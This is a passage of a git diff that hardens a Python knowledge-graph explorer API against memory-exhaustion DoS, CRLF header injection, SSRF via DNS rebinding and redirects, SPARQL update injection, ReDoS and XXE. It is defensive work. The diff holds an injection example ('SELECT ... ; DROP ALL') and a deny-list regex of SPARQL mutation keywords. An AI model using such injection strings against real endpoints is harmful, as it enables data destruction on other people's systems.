RelationExtractor(confidence_threshold=0.6) + + entities = await asyncio.to_thread(recognizer.extract_entities, body.text) + + ent_list = entities if isinstance(entities, list) else getattr(entities, "entities", []) + + relations = await asyncio.to_thread( + extractor.extract_relations, body.text, ent_list + ) + + rel_list = relations if isinstance(relations, list) else getattr(relations, "relations", []) + + return EnrichExtractResponse( + entities=[_safe_dict(entity) for entity in ent_list], + relations=[_safe_dict(relation) for relation in rel_list], + ) @router.post("/api/enrich/links", response_model=LinkPredictionResponse) @@ -194,40 +215,80 @@ async def predict_links( if node is None: raise HTTPException(status_code=404, detail=f"Node '{body.node_id}' not found") - nodes, _ = await asyncio.to_thread(session.get_nodes, skip=0, limit=999_999) - edges, _ = await asyncio.to_thread(session.get_edges, skip=0, limit=999_999) + # SECURITY: Acquire semaphore BEFORE loading data so concurrent requests + # cannot pile up expensive threadpool work and memory pressure (Qodo #2). + async with _link_prediction_semaphore: + # SECURITY: Reject an oversized graph using the O(1) raw collection + # lengths BEFORE calling get_nodes()/get_edges(), which normalize the + # *entire* matching set before applying `limit` -- checking `total` + # only after that call still pays the full O(graph size) cost the cap + # is meant to avoid. + total_nodes, total_edges = await asyncio.to_thread(session.get_raw_counts) + if total_nodes > _LINK_PREDICTION_MAX_NODES: + raise HTTPException( + status_code=413, + detail=( + f"Graph has {total_nodes:,} nodes; link prediction is capped at " + f"{_LINK_PREDICTION_MAX_NODES:,} nodes to prevent memory exhaustion. " + "Use the graph search endpoint for large graphs." + ), + ) + if total_edges > _LINK_PREDICTION_MAX_EDGES: + raise HTTPException( + status_code=413, + detail=( + f"Graph has {total_edges:,} edges; link prediction is capped at " + f"{_LINK_PREDICTION_MAX_EDGES:,} edges to prevent memory exhaustion. " + "Use the graph search endpoint for large graphs." + ), + ) - existing_neighbors = { - edge.get("target") for edge in edges if edge.get("source") == body.node_id - } | { - edge.get("source") for edge in edges if edge.get("target") == body.node_id - } + # SECURITY: Load at most _LINK_PREDICTION_MAX_NODES candidates. + # The hardcoded limit in the original code consumed ~1.6 GB RAM + # per request and had no concurrency guard, making it trivially DoS-able. + nodes, _ = await asyncio.to_thread(session.get_nodes, skip=0, limit=_LINK_PREDICTION_MAX_NODES) - def _score_all() -> list: - results = [] - for candidate_node in nodes: - candidate_id = candidate_node.get("id") - if not candidate_id or candidate_id == body.node_id or candidate_id in existing_neighbors: - continue - if body.candidate_type and candidate_node.get("type") != body.candidate_type: - continue - try: - score = predictor.score_link(session.graph, body.node_id, candidate_id) - except Exception: - continue - if score >= body.min_score: - results.append( - { - "target": candidate_id, - "score": score, - "type": candidate_node.get("type", "entity"), - "label": candidate_node.get("content", candidate_id), - } - ) - results.sort(key=lambda item: item["score"], reverse=True) - return results + # Load edges specific to the queried node rather than a globally + # truncated page — avoids missing neighbours when the node's edges + # fall outside the first page (Qodo #3). + edges_out, _ = await asyncio.to_thread( + session.get_edges, source=body.node_id, skip=0, limit=_LINK_PREDICTION_MAX_NODES, + ) + edges_in, _ = await asyncio.to_thread( + session.get_edges, target=body.node_id, skip=0, limit=_LINK_PREDICTION_MAX_NODES, + ) - scored = await asyncio.to_thread(_score_all) + existing_neighbors = { + edge.get("target") for edge in edges_out + } | { + edge.get("source") for edge in edges_in + } + + def _score_all() -> list: + results = [] + for candidate_node in nodes: + candidate_id = candidate_node.get("id") + if not candidate_id or candidate_id == body.node_id or candidate_id in existing_neighbors: + continue + if body.candidate_type and candidate_node.get("type") != body.candidate_type: + continue + try: + score = predictor.score_link(session.graph, body.node_id, candidate_id) + except Exception: + continue + if score >= body.min_score: + results.append( + { + "target": candidate_id, + "score": score, + "type": candidate_node.get("type", "entity"), + "label": candidate_node.get("content", candidate_id), + } + ) + results.sort(key=lambda item: item["score"], reverse=True) + return results + + scored = await asyncio.to_thread(_score_all) return LinkPredictionResponse(node_id=body.node_id, predictions=scored[: body.top_n]) diff --git a/semantica/explorer/routes/export_import.py b/semantica/explorer/routes/export_import.py index 6beda930..5ae464f5 100644 --- a/semantica/explorer/routes/export_import.py +++ b/semantica/explorer/routes/export_import.py @@ -1,4 +1,4 @@ -""" +""" Import and export routes for graph datasets. """ @@ -6,6 +6,7 @@ import csv import io import json import logging +import re from fastapi import APIRouter, Depends, File, HTTPException, UploadFile from fastapi.responses import Response @@ -22,6 +23,33 @@ _IMPORT_MAX_BYTES = 50 * 1024 * 1024 # 50 MB # Do not add extensions here unless a corresponding parsing branch exists below. _ALLOWED_IMPORT_EXTENSIONS = frozenset({".json", ".csv"}) +# SECURITY: Strip characters from imported node IDs that would enable stored +# HTTP response header injection (CWE-20 / CWE-113). These IDs are later +# reflected verbatim into Content-Disposition filename= headers by the +# provenance report endpoint -- CRLF sequences in an ID can split the HTTP +# response and inject arbitrary headers (Set-Cookie, Content-Type, etc.). +# NUL bytes truncate filenames on POSIX and some Windows APIs. +_UNSAFE_ID_CHARS = re.compile(r'[\r\n\x00"\\]') +_MAX_IMPORT_NODE_ID_LEN = 512 + + +def _sanitize_import_node_id(raw: object) -> str: + """Sanitize a node ID arriving from an uploaded CSV or JSON file. + + Strips CR, LF, NUL, double-quotes, and backslashes, then length-caps the + result. These are the characters that enable CRLF header injection when + the ID is later used in a Content-Disposition filename= parameter. + """ + if raw is None: + return "" + cleaned = _UNSAFE_ID_CHARS.sub("_", str(raw).strip()) + if len(cleaned) > _MAX_IMPORT_NODE_ID_LEN: + raise HTTPException( + status_code=422, + detail=f"Node ID exceeds maximum length of {_MAX_IMPORT_NODE_ID_LEN} characters.", + ) + return cleaned + def _import_response(nodes_added: int, edges_added: int, message: str = "Import successful") -> ImportResponse: return ImportResponse( @@ -77,12 +105,19 @@ async def import_file( nodes = [] for raw_node in raw_nodes: if "properties" in raw_node: - nodes.append(raw_node) + # SECURITY: this pre-built-node path bypasses the id/type/properties + # construction below entirely, so it must sanitize the id itself -- + # otherwise a payload like {"id": "", "properties": {}} skips + # _sanitize_import_node_id() completely (CWE-20/CWE-113 bypass). + safe_node_id = _sanitize_import_node_id( + raw_node.get("id", raw_node.get("_id", raw_node.get("node_id", ""))) + ) + nodes.append({**raw_node, "id": safe_node_id}) continue metadata = raw_node.get("metadata", {}) or {} nodes.append( { - "id": str(raw_node.get("id", raw_node.get("_id", raw_node.get("node_id", "")))), + "id": _sanitize_import_node_id(raw_node.get("id", raw_node.get("_id", raw_node.get("node_id", "")))), "type": raw_node.get("type", "entity"), "properties": { "content": raw_node.get("text", raw_node.get("content", raw_node.get("id", ""))), @@ -102,8 +137,8 @@ async def import_file( { "id": raw_edge.get("id", raw_edge.get("edge_id")), "familyId": raw_edge.get("familyId", raw_edge.get("family_id")), - "source_id": str(source), - "target_id": str(target), + "source_id": _sanitize_import_node_id(source), + "target_id": _sanitize_import_node_id(target), "type": raw_edge.get("type", raw_edge.get("relationship", "related_to")), "weight": float(raw_edge.get("weight", 1.0)), "properties": edge_properties, @@ -159,8 +194,8 @@ async def import_file( { "id": row.get("id") or row.get("edge_id"), "familyId": row.get("familyId") or row.get("family_id"), - "source_id": str(source), - "target_id": str(target), + "source_id": _sanitize_import_node_id(source), + "target_id": _sanitize_import_node_id(target), "type": row.get("type") or row.get("relationship") or row.get(":TYPE") or "related_to", "weight": float(row.get("weight", 1.0) or 1.0), "properties": edge_props, @@ -174,7 +209,7 @@ async def import_file( } nodes.append( { - "id": str(node_id), + "id": _sanitize_import_node_id(node_id), "type": row.get("type") or row.get("label") or row.get(":LABEL") or "entity", "properties": node_props, } diff --git a/semantica/explorer/routes/ontology.py b/semantica/explorer/routes/ontology.py index 4944f2ef..b50eb206 100644 --- a/semantica/explorer/routes/ontology.py +++ b/semantica/explorer/routes/ontology.py @@ -11,7 +11,7 @@ import uuid from datetime import datetime, UTC from difflib import SequenceMatcher from typing import Any, Dict, List, Optional, Tuple -from urllib.parse import urlparse +from urllib.parse import urljoin, urlparse from typing_extensions import Literal from fastapi import APIRouter, Depends, HTTPException, Query, Request @@ -978,8 +978,18 @@ def _normalize_format(fmt: Optional[str]) -> str: return _FORMAT_ALIASES.get(lower, lower) -def _validate_fetch_url(url: str) -> None: - """Reject non-HTTP(S) schemes and private/loopback/link-local targets.""" +def _validate_fetch_url(url: str) -> List[str]: + """Reject non-HTTP(S) schemes and private/loopback/link-local targets. + + Returns every resolved, validated IP address (deduplicated, in + resolution order) so the caller can pin the actual connection to them + (see _make_pinned_session) with fallback across all of them — not just + the first — since a hostname can have multiple A/AAAA records and the + first one isn't guaranteed reachable. Resolving the hostname again at + connect time would open a DNS check-then-use window (a low-TTL or + rebinding DNS answer could differ between this check and the client's + own lookup), which is what pinning to these specific addresses avoids. + """ parsed = urlparse(url) if parsed.scheme not in ("http", "https"): raise HTTPException(status_code=422, detail="Only http and https URLs are allowed.") @@ -990,6 +1000,7 @@ def _validate_fetch_url(url: str) -> None: addrinfos = socket.getaddrinfo(hostname, None) except socket.gaierror as exc: raise HTTPException(status_code=422, detail=f"Cannot resolve hostname '{hostname}': {exc}") from exc + validated_ips: List[str] = [] for _family, _type, _proto, _canonname, sockaddr in addrinfos: try: ip = ipaddress.ip_address(sockaddr[0]) @@ -1000,28 +1011,161 @@ def _validate_fetch_url(url: str) -> None: status_code=422, detail="Fetching from private, loopback, or reserved network addresses is not allowed.", ) + if sockaddr[0] not in validated_ips: + validated_ips.append(sockaddr[0]) + if not validated_ips: + raise HTTPException(status_code=422, detail=f"Cannot resolve hostname '{hostname}' to a usable address.") + return validated_ips + + +def _make_pinned_session(pinned_ips: List[str], url: str): + """Build a requests.Session whose connection is pinned to pinned_ips + (tried in order, falling back on connection failure), regardless of + what url's hostname resolves to at connect time. + + _validate_fetch_url() resolves and validates the hostname once; letting + the HTTP client resolve it again independently at connect time reopens + the exact gap that validation exists to close — a low-TTL or rebinding + DNS answer can differ between the two lookups. This pins the pool's + connect target to the already-validated addresses directly (bypassing + DNS resolution for the connection entirely), while keeping the original + hostname as the outgoing HTTP Host header and, for HTTPS, the TLS SNI + server_hostname / assert_hostname — otherwise the connection would + reach the right IP but present the wrong identity, breaking name-based + virtual hosting and (for HTTPS) certificate hostname verification. + + Falls back across every validated address (not just the first) so a + hostname with multiple A/AAAA records doesn't fail outright just + because the first-returned address happens to be unreachable. + + Note: urllib3's Connection.host is a property that reads/writes the + same underlying value as `_dns_host` in this version — it is NOT the + separate "presented identity" field it is in some older releases, so + overriding just `_dns_host` post-construction (as an earlier version of + this fix did) actually changes the Host header too. Pinning the pool's + `host` directly and restoring the real hostname via an explicit Host + header (+ SNI params for HTTPS) is the correct mechanism here. + """ + import requests as _req + import urllib3.util.connection as _u3_connection + from urllib3.exceptions import NewConnectionError + + parsed = urlparse(url) + hostname = parsed.hostname + port = parsed.port + default_port = 443 if parsed.scheme == "https" else 80 + host_header = hostname if port in (None, default_port) else f"{hostname}:{port}" + + class _MultiIPConnectionMixin: + """Overrides _new_conn to fall back across every pinned IP in + order, instead of urllib3's default single-host connect.""" + + def _new_conn(self): + last_exc: Optional[BaseException] = None + for ip in pinned_ips: + try: + return _u3_connection.create_connection( + (ip, self.port), + self.timeout, + source_address=self.source_address, + socket_options=self.socket_options, + ) + except OSError as exc: + last_exc = exc + continue + raise NewConnectionError( + self, f"Failed to establish a connection to any of {pinned_ips}: {last_exc}" + ) + + class _PinnedIPHTTPAdapter(_req.adapters.HTTPAdapter): + def get_connection_with_tls_context(self, request, verify, proxies=None, cert=None): + # A proxy would perform its own DNS resolution of the target + # host on this process's behalf — a resolution outside this + # process's visibility or control, so there is no client-side + # pin that closes that race. Proxies are disabled outright for + # this SSRF-sensitive fetcher (session.trust_env=False below), + # so this should be unreachable via environment proxies; fail + # closed rather than silently skip pinning if a proxy is + # somehow still configured (e.g. passed explicitly in the + # future). _validate_fetch_url's destination classification is + # a separate, always-enforced check — this only guards the + # secondary DNS-pinning hardening. + if _req.utils.select_proxy(request.url, proxies): + raise HTTPException( + status_code=502, + detail="Proxied requests are not supported for ontology URL fetching.", + ) + host_params, pool_kwargs = self.build_connection_pool_key_attributes(request, verify, cert) + if host_params.get("scheme") == "https": + pool_kwargs.setdefault("assert_hostname", hostname) + pool_kwargs.setdefault("server_hostname", hostname) + host_params["host"] = pinned_ips[0] + pool = self.poolmanager.connection_from_host(**host_params, pool_kwargs=pool_kwargs) + base_connection_cls = pool.ConnectionCls + if not issubclass(base_connection_cls, _MultiIPConnectionMixin): + pool.ConnectionCls = type( + "_PinnedConnection", (_MultiIPConnectionMixin, base_connection_cls), {} + ) + return pool + + session = _req.Session() + # Never honor HTTP_PROXY/HTTPS_PROXY/NO_PROXY env vars for this + # SSRF-sensitive fetcher: a configured proxy would perform its own DNS + # resolution of the target host outside this process's control, + # silently reopening the DNS check-then-use race pinning exists to + # close. See _PinnedIPHTTPAdapter.get_connection_with_tls_context for + # the fail-closed backstop if a proxy is somehow still configured. + session.trust_env = False + session.headers["Host"] = host_header + adapter = _PinnedIPHTTPAdapter() + session.mount("http://", adapter) + session.mount("https://", adapter) + return session def _fetch_url_sync(url: str) -> bytes: - _validate_fetch_url(url) - import requests as _req + pinned_ips = _validate_fetch_url(url) + _MAX_REDIRECTS = 5 + current_url = url try: - resp = _req.get( - url, - headers={"Accept": "text/turtle, application/rdf+xml, application/ld+json, */*;q=0.1"}, - timeout=30, - stream=True, - allow_redirects=True, - ) - resp.raise_for_status() - chunks: List[bytes] = [] - total = 0 - for chunk in resp.iter_content(65536): - total += len(chunk) - if total > _MAX_FETCH_BYTES: - raise HTTPException(status_code=413, detail="Remote resource exceeds 20 MB limit.") - chunks.append(chunk) - return b"".join(chunks) + for _ in range(_MAX_REDIRECTS + 1): + session = _make_pinned_session(pinned_ips, current_url) + try: + resp = session.get( + current_url, + headers={"Accept": "text/turtle, application/rdf+xml, application/ld+json, */*;q=0.1"}, + timeout=30, + stream=True, + allow_redirects=False, # SECURITY: follow redirects manually + ) + if resp.is_redirect or resp.is_permanent_redirect: + redirect_url = resp.headers.get("Location") + resp.close() # Release the streamed connection before following the redirect + if not redirect_url: + raise HTTPException(status_code=502, detail="Redirect without Location header.") + # Resolve relative redirects (e.g. /ontology.ttl) against the current URL + redirect_url = urljoin(current_url, redirect_url) + # Re-validate the redirect target to prevent SSRF via + # open-redirect to internal/cloud-metadata endpoints, and + # get fresh pins for the new host. + pinned_ips = _validate_fetch_url(redirect_url) + current_url = redirect_url + continue + try: + resp.raise_for_status() + chunks: List[bytes] = [] + total = 0 + for chunk in resp.iter_content(65536): + total += len(chunk) + if total > _MAX_FETCH_BYTES: + raise HTTPException(status_code=413, detail="Remote resource exceeds 20 MB limit.") + chunks.append(chunk) + return b"".join(chunks) + finally: + resp.close() # Release the streamed connection once fully read (or on error) + finally: + session.close() + raise HTTPException(status_code=502, detail=f"Too many redirects (max {_MAX_REDIRECTS}).") except HTTPException: raise except Exception as exc: diff --git a/semantica/explorer/routes/provenance.py b/semantica/explorer/routes/provenance.py index daa52842..a7861135 100644 --- a/semantica/explorer/routes/provenance.py +++ b/semantica/explorer/routes/provenance.py @@ -5,6 +5,7 @@ Provenance routes for lineage visualization and exportable reports. import asyncio import json import logging +import re from typing import Any, Dict, List, Optional import networkx as nx @@ -19,6 +20,24 @@ from ...provenance.integrity import verify_checksum logger = logging.getLogger(__name__) router = APIRouter(prefix="/api/provenance", tags=["Power User Tools"]) +# SECURITY: Strip characters that could break out of a Content-Disposition +# filename= value and inject new HTTP response headers (CWE-113 / CRLF injection). +# \r, \n, \x00 are the primary header-splitting vectors; " and \ would close +# or escape the filename attribute. +_UNSAFE_FILENAME_CHARS = re.compile(r'[\r\n\x00"\\]') +_MAX_FILENAME_ID_LEN = 128 + + +def _safe_content_disposition_filename(node_id: str, suffix: str) -> str: + """Return a sanitized Content-Disposition filename for the given node_id. + + Strips CR, LF, NUL, double-quotes, and backslashes that could split HTTP + response headers or escape the filename attribute, then length-caps the + result so it never produces an excessively long header value. + """ + sanitized = _UNSAFE_FILENAME_CHARS.sub("_", str(node_id))[:_MAX_FILENAME_ID_LEN] + return f"{sanitized}{suffix}" + _AGENT_TYPES = {"person", "organization", "system", "agent"} _ACTIVITY_TYPES = {"action", "event", "process", "activity", "decision", "publication"} @@ -333,12 +352,12 @@ async def export_provenance_report( content = _render_markdown(report) return PlainTextResponse( content, - headers={"Content-Disposition": f'attachment; filename="{node_id}_provenance.md"'}, + headers={"Content-Disposition": f'attachment; filename="{_safe_content_disposition_filename(node_id, "_provenance.md")}"'}, ) content = json.dumps(report, indent=2, default=str) return Response( content=content, media_type="application/json", - headers={"Content-Disposition": f'attachment; filename="{node_id}_provenance.json"'}, + headers={"Content-Disposition": f'attachment; filename="{_safe_content_disposition_filename(node_id, "_provenance.json")}"'}, ) diff --git a/semantica/explorer/routes/sparql.py b/semantica/explorer/routes/sparql.py index 0d7e2f77..08c8af1d 100644 --- a/semantica/explorer/routes/sparql.py +++ b/semantica/explorer/routes/sparql.py @@ -3,11 +3,16 @@ SPARQL routes backed by an in-memory rdflib projection of the current graph. Security contract ----------------- -* Only SELECT, ASK, CONSTRUCT, and DESCRIBE are accepted (allowlist enforced - before graph construction so rejected queries never touch the session). -* Multi-statement injections that start with an allowed keyword (e.g. - ``SELECT ... ; DROP ALL``) pass the prefix check and reach rdflib, which - rejects non-SELECT/ASK/CONSTRUCT/DESCRIBE update syntax in the parser. +* Only SELECT, ASK, CONSTRUCT, and DESCRIBE are accepted, and the query + body is scanned for SPARQL Update keywords (INSERT/DELETE/DROP/LOAD/ + CLEAR/CREATE/COPY/MOVE/ADD) after stripping comments and PREFIX/BASE + declarations — both enforced before graph construction, so rejected + queries never touch the session. A multi-statement injection appended + after an allowed keyword (e.g. ``SELECT ... ; DROP ALL``) is caught by + the keyword scan itself, not left to rdflib's parser. +* rdflib's parser remains a second line of defense for malformed multi- + statement syntax that doesn't contain any forbidden keyword (e.g. + ``SELECT ... ; ASK ...``), which SPARQL 1.1 Query doesn't permit. * The in-memory rdflib graph is a read-only projection — the live ``GraphSession`` is never mutated by this route. """ @@ -26,14 +31,76 @@ from ..session import GraphSession router = APIRouter(prefix="/api/sparql", tags=["Power User Tools"]) _ALLOWED_QUERY_TYPES = re.compile( - r"^\s*(SELECT|ASK|CONSTRUCT|DESCRIBE)\b", + r"^(SELECT|ASK|CONSTRUCT|DESCRIBE)\b", re.IGNORECASE, ) +# SPARQL Update keywords that must never appear in read-only queries. +# These are checked AFTER comment/prefix stripping to prevent bypass via +# comments like: # INSERT DATA { ... }\nSELECT ... +_FORBIDDEN_KEYWORDS = re.compile( + r"\b(INSERT|DELETE|DROP|LOAD|CLEAR|CREATE|COPY|MOVE|ADD)\b", + re.IGNORECASE, +) + +# Matches SPARQL single-line comments (# ...) and PREFIX/BASE declarations. +# The comment regex only treats '#' as a comment-starter at line-start or +# after whitespace — not mid-token — since RDF namespace IRIs commonly +# contain a literal '#' (e.g. ".../1999/02/22-rdf-syntax-ns#"), and a naive +# `#[^\n]*` would truncate every such PREFIX declaration's IRI, corrupting +# the query. BASE declarations have no prefix name between the keyword and +# the IRI (`BASE <...>`, vs. `PREFIX ex: <...>`), so the prefix-name token +# is optional. +# +# ReDoS fix (CodeQL py/polynomial-redos, issue #1897): +# +# The original pattern `<[^>]*>\s*` was vulnerable because `\s*` (which +# matches newlines) could overlap with `[^>]*` on inputs that contain no +# closing `>` (e.g. `base\r\n]*>` for the IRI body: excluding CR and LF from +# the character class means the IRI match can never span a line boundary, +# and the disjoint trailing `[ \t]*` (horizontal whitespace only) has zero +# character-class overlap with `[^>\r\n]*`, so the engine has exactly one +# way to match. No end-of-line anchor is needed or used, which correctly +# handles both inline prologues (`PREFIX ex: <...> SELECT ...` on one line) +# and CRLF line endings (`\r\n`) without any special casing. +_COMMENT_LINE = re.compile(r"(?:^|(?<=\s))#[^\n]*", re.MULTILINE) +_PREFIX_DECL = re.compile( + r"^[ \t]*(?:PREFIX[ \t]+\S+|BASE)[ \t]*<[^>\r\n]*>[ \t]*", + re.IGNORECASE | re.MULTILINE, +) + def _is_read_only_query(query: str) -> bool: - """Return True only for SELECT / ASK / CONSTRUCT / DESCRIBE queries.""" - return bool(_ALLOWED_QUERY_TYPES.match(query)) + """Return True only for genuine read-only SPARQL queries. + + Strips comments, PREFIX/BASE declarations, and leading whitespace before + checking the first keyword. Also rejects queries containing SPARQL Update + keywords anywhere in the body, preventing injection via embedded strings + or multi-statement tricks. + + Note: callers are responsible for enforcing any input-length limit *before* + calling this function so that an oversized-query rejection can be surfaced + as a distinct, actionable error rather than the generic read-only message. + """ + # 1. Remove single-line comments that could hide the real query type + cleaned = _COMMENT_LINE.sub("", query) + # 2. Remove PREFIX/BASE declarations + cleaned = _PREFIX_DECL.sub("", cleaned) + # 3. Strip remaining whitespace + cleaned = cleaned.strip() + + # 4. Check that the first keyword is a read-only query type + if not _ALLOWED_QUERY_TYPES.match(cleaned): + return False + + # 5. Block any forbidden (mutating) keywords anywhere in the query + if _FORBIDDEN_KEYWORDS.search(cleaned): + return False + + return True class SparqlRequest(BaseModel): @@ -59,8 +126,27 @@ def _build_rdflib_graph(session: GraphSession) -> rdflib.Graph: graph.bind("ent", NS) graph.bind("prop", PROP) - nodes, _ = session.get_nodes(skip=0, limit=999_999) - edges, _ = session.get_edges(skip=0, limit=999_999) + # SECURITY: Cap the number of entities materialized into memory to + # prevent denial-of-service via memory exhaustion. Without this guard + # an attacker can send concurrent SPARQL queries that each load ~1M + # nodes/edges into rdflib Graph objects, consuming gigabytes of RAM. + nodes, total_nodes = session.get_nodes(skip=0, limit=_SPARQL_MAX_GRAPH_NODES + 1) + if len(nodes) > _SPARQL_MAX_GRAPH_NODES: + raise ValueError( + f"Graph has more than {_SPARQL_MAX_GRAPH_NODES:,} nodes. " + f"SPARQL queries are limited to graphs with at most " + f"{_SPARQL_MAX_GRAPH_NODES:,} nodes to prevent excessive " + f"memory usage. Use the REST API for large graph operations." + ) + + edges, _ = session.get_edges(skip=0, limit=_SPARQL_MAX_GRAPH_NODES + 1) + if len(edges) > _SPARQL_MAX_GRAPH_NODES: + raise ValueError( + f"Graph has more than {_SPARQL_MAX_GRAPH_NODES:,} edges. " + f"SPARQL queries are limited to graphs with at most " + f"{_SPARQL_MAX_GRAPH_NODES:,} edges to prevent excessive " + f"memory usage. Use the REST API for large graph operations." + ) for node in nodes: subject = NS[str(node.get("id", ""))] @@ -91,6 +177,12 @@ def _build_rdflib_graph(session: GraphSession) -> rdflib.Graph: _SPARQL_MAX_ROWS = 5_000 # hard cap on returned rows _SPARQL_TIMEOUT_S = 30 # seconds before abandoning the await _SPARQL_MAX_CONCURRENT = 4 # semaphore: max simultaneous executions +_SPARQL_MAX_GRAPH_NODES = 50_000 # cap on graph nodes/edges to prevent OOM +# Defense-in-depth against ReDoS: reject inputs longer than this before any +# regex work so that even a future regex regression is bounded. Checked in +# execute_sparql() (not inside _is_read_only_query) so the route can return +# a distinct, actionable error message rather than the generic read-only one. +_SPARQL_MAX_QUERY_LEN = 10_000 # chars # Semaphore caps how many graph.query calls run concurrently so that # timed-out threads (which keep running in the pool) cannot crowd out @@ -119,6 +211,24 @@ async def execute_sparql( req: SparqlRequest, session: GraphSession = Depends(get_session), ): + # Resource-limit check: reject oversized queries before any regex work. + # This is intentionally a separate, earlier check from _is_read_only_query + # so clients receive a specific, actionable message rather than the generic + # read-only rejection, and operators can tune _SPARQL_MAX_QUERY_LEN without + # touching query-semantics code. + if len(req.query) > _SPARQL_MAX_QUERY_LEN: + return SparqlResponse( + columns=[], + rows=[], + total=0, + error=( + f"Query exceeds the maximum allowed length of " + f"{_SPARQL_MAX_QUERY_LEN:,} characters " + f"({len(req.query):,} received). " + f"Please shorten your query." + ), + ) + if not _is_read_only_query(req.query): return SparqlResponse( columns=[], @@ -127,7 +237,15 @@ async def execute_sparql( error="Only SELECT, ASK, CONSTRUCT, and DESCRIBE queries are permitted.", ) - graph = await asyncio.to_thread(_build_rdflib_graph, session) + try: + graph = await asyncio.to_thread(_build_rdflib_graph, session) + except ValueError as exc: + return SparqlResponse( + columns=[], + rows=[], + total=0, + error=str(exc), + ) async with _sparql_semaphore: try: diff --git a/semantica/explorer/schemas.py b/semantica/explorer/schemas.py index 638fa82e..13f2ac3f 100644 --- a/semantica/explorer/schemas.py +++ b/semantica/explorer/schemas.py @@ -2,10 +2,10 @@ Shared Pydantic schemas for the Semantica Knowledge Explorer API. """ -from datetime import datetime +from datetime import datetime, timezone from typing import Any, Dict, List, Literal, Optional, Tuple -from pydantic import BaseModel, Field +from pydantic import BaseModel, Field, field_validator class ErrorResponse(BaseModel): @@ -144,6 +144,37 @@ class DecisionResponse(BaseModel): timestamp: Optional[str] = None metadata: Dict[str, Any] = Field(default_factory=dict) + @field_validator("timestamp", mode="before") + @classmethod + def _normalize_timestamp(cls, value: Any) -> Optional[str]: + """Accept the epoch floats ContextGraph.record_decision() writes. + + Decision nodes store ``timestamp`` as ``datetime.now().timestamp()``, a + float, so passing the stored value through unconverted fails validation + and turns every decision route into a 500. Normalize to ISO-8601 here so + the wire format stays a single string type whatever the producer wrote. + """ + if value is None or isinstance(value, str): + return value + if isinstance(value, datetime): + return value.isoformat() + if isinstance(value, (int, float)) and not isinstance(value, bool): + import math + if not math.isfinite(value): + raise ValueError( + f"timestamp must be a finite number, got {value!r}" + ) + try: + return datetime.fromtimestamp(value, tz=timezone.utc).isoformat() + except (OverflowError, OSError) as exc: + raise ValueError( + f"timestamp {value!r} is out of the representable epoch range" + ) from exc + raise ValueError( + f"timestamp must be None, a string, a datetime, or a numeric epoch; " + f"got {type(value).__name__!r}" + ) + class CausalChainResponse(BaseModel): decision_id: str @@ -174,7 +205,9 @@ class TemporalPatternResponse(BaseModel): class EnrichExtractRequest(BaseModel): - text: str + # 10 000 characters is sufficient for a substantial document paragraph while + # preventing unbounded spaCy NLP processing on arbitrarily large payloads. + text: str = Field(..., max_length=10_000) class EnrichExtractResponse(BaseModel): diff --git a/semantica/explorer/session.py b/semantica/explorer/session.py index 1d0a60f9..abdc1711 100644 --- a/semantica/explorer/session.py +++ b/semantica/explorer/session.py @@ -375,6 +375,19 @@ class GraphSession: ) return page, total + def get_raw_counts(self) -> tuple[int, int]: + """O(1) node/edge counts from the raw collections, with no per-item + normalization. + + ``paginate_nodes``/``paginate_edges`` always normalize the *entire* + matching set before applying ``limit``, so callers that need to reject + an oversized graph before paying that cost (e.g. link prediction's DoS + guard) should check this first rather than inspecting the ``total`` + returned by ``get_nodes``/``get_edges`` after the fact. + """ + with self._lock: + return len(self.graph.nodes), len(self.graph.edges) + def paginate_edges( self, edge_type: Optional[str] = None, diff --git a/semantica/explorer/utils/rdf_parser.py b/semantica/explorer/utils/rdf_parser.py index 39400156..07206410 100644 --- a/semantica/explorer/utils/rdf_parser.py +++ b/semantica/explorer/utils/rdf_parser.py @@ -14,21 +14,23 @@ _HAS_DEFUSEDXML = importlib.util.find_spec("defusedxml") is not None def _safe_parse_rdf(g: rdflib.Graph, data: bytes, rdf_format: str) -> None: - """Parse RDF bytes into *g*, guarding against XXE for XML-based formats.""" + """Parse RDF bytes into *g*, guarding against XXE for XML-based formats. + + Raises: + ImportError: If ``defusedxml`` is not installed and the format is XML-based. + """ xml_formats = {"xml", "rdf", "rdf/xml", "application/rdf+xml"} if rdf_format.lower() in xml_formats: - if _HAS_DEFUSEDXML: - # defusedxml patches xml.etree so rdflib's XML parser inherits the fix - import defusedxml - defusedxml.defuse_stdlib() - else: - # Warn once; best-effort protection via rdflib's own parser - import warnings - warnings.warn( - "defusedxml is not installed. Install it (`pip install defusedxml`) " - "to protect RDF/XML parsing against XXE attacks.", - stacklevel=4, + if not _HAS_DEFUSEDXML: + # Fail closed: refuse to parse untrusted XML without XXE protection. + raise ImportError( + "defusedxml is required to safely parse RDF/XML content but is " + "not installed. Install it with: pip install defusedxml " + "(or install semantica with the explorer extra: " + "pip install 'semantica[explorer]')" ) + import defusedxml + defusedxml.defuse_stdlib() g.parse(data=data, format=rdf_format) def _get_best_label(graph: rdflib.Graph, subject: rdflib.URIRef, predicate: rdflib.URIRef) -> str: diff --git a/semantica/export/arango_aql_exporter.py b/semantica/export/arango_aql_exporter.py index 69140481..d5f9a571 100644 --- a/semantica/export/arango_aql_exporter.py +++ b/semantica/export/arango_aql_exporter.py @@ -28,7 +28,7 @@ import json from pathlib import Path from typing import Any, Dict, List, Optional, Union -from ..utils.helpers import ensure_directory +from ..utils.helpers import _require_mapping, ensure_directory, normalize_graph_payload from ..utils.logging import get_logger from ..utils.progress_tracker import get_progress_tracker @@ -204,17 +204,19 @@ class ArangoAQLExporter: self._generate_collection_creation(vertex_collection, edge_collection) ) - # Extract entities and relationships - entities = knowledge_graph.get("entities", []) - relationships = knowledge_graph.get("relationships", []) - nodes = knowledge_graph.get("nodes", entities) - edges = knowledge_graph.get("edges", relationships) + # A non-mapping payload cannot reach normalize_graph_payload(): it + # raises ValidationError for that case, which would leave this + # exporter alone in raising a different exception type than the YAML + # and Neo4j exporters raise for the identical mistake. + _require_mapping( + knowledge_graph, ("entities", "relationships", "nodes", "edges") + ) - # Use nodes/edges if entities/relationships are empty - if not entities and nodes: - entities = nodes - if not relationships and edges: - relationships = edges + # Accept either vocabulary; resolution is centralized so every + # exporter agrees on what a given payload means. + normalized = normalize_graph_payload(knowledge_graph) + entities = normalized["entities"] + relationships = normalized["relationships"] # Generate vertex INSERT statements vertex_statements = self._generate_vertex_inserts(entities, vertex_collection) diff --git a/semantica/export/distance_exporter.py b/semantica/export/distance_exporter.py index be78637d..3d2d250d 100644 --- a/semantica/export/distance_exporter.py +++ b/semantica/export/distance_exporter.py @@ -11,17 +11,20 @@ Python API: df = exporter.to_dataframe(include=["hops", "semantic_similarity", "distance_band"]) exporter.to_csv("distances.csv") 